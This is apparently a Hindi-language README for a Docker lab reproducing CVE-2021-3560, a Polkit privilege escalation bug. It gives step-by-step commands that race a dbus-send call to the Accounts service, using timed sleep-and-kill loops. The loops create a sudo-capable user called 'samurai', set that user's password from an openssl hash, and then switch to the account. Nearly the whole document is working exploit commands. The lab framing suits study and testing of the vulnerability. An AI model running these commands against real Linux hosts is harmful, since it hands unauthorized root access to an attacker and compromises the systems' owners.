
CVE-2021-3560 (Polkit विशेषाधिकार वृद्धि) के लिए Docker-आधारित शोषण, dbus-send में एक रेस कंडीशन के माध्यम से sudo उपयोगकर्ता बनाने के चरण-दर-चरण निर्देशों के साथ।
द्वारा Mark, Qingchen Yu कंटेनर बनाने के लिए
docker build -t <image tag of your choice> .
कंटेनर चलाने के लिए
docker run -it <image tag name>
start.sh से शुरू करें
माप निष्पादन समय: ध्यान दें 'real' समय और उसका आधा गणना करें।
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
sudo विशेषाधिकारों वाला उपयोगकर्ता बनाएँ: X.XXX को ऊपर दिए गए 'real' समय के आधे से बदलें क्योंकि हम प्रक्रिया को बीच में बाधित करना चाहते हैं यह कमांड 10000 बार के लूप के रूप में चलेगी आपको यह चरण कई बार चलाने की आवश्यकता हो सकती है
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
उपयोगकर्ता निर्माण की जाँच करें
id samurai
इसे samurai उपयोगकर्ता के अस्तित्व और उसकी अनुमतियाँ दिखानी चाहिए। यदि नहीं, तो चरण 2 फिर से चलाएँ।
पासवर्ड हैश उत्पन्न करें: इस मामले में, पासवर्ड 'iamsamurai' होगा उत्पन्न हैश पर ध्यान दें।
openssl passwd -5 iamsamurai
नए उपयोगकर्ता के लिए पासवर्ड सेट करें: X.XXX को नींद की अवधि से और पासवर्ड हैश को चरण 4 के हैश से बदलें। UUUU को 'samurai' के उपयोगकर्ता आईडी से बदलें।
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
चरण 4 में बनाए गए पासवर्ड से नए उपयोगकर्ता पर स्विच करें।
su - samurai
अब आप 'sudo इस उपयोगकर्ता के साथ' का उपयोग कर पाएंगे।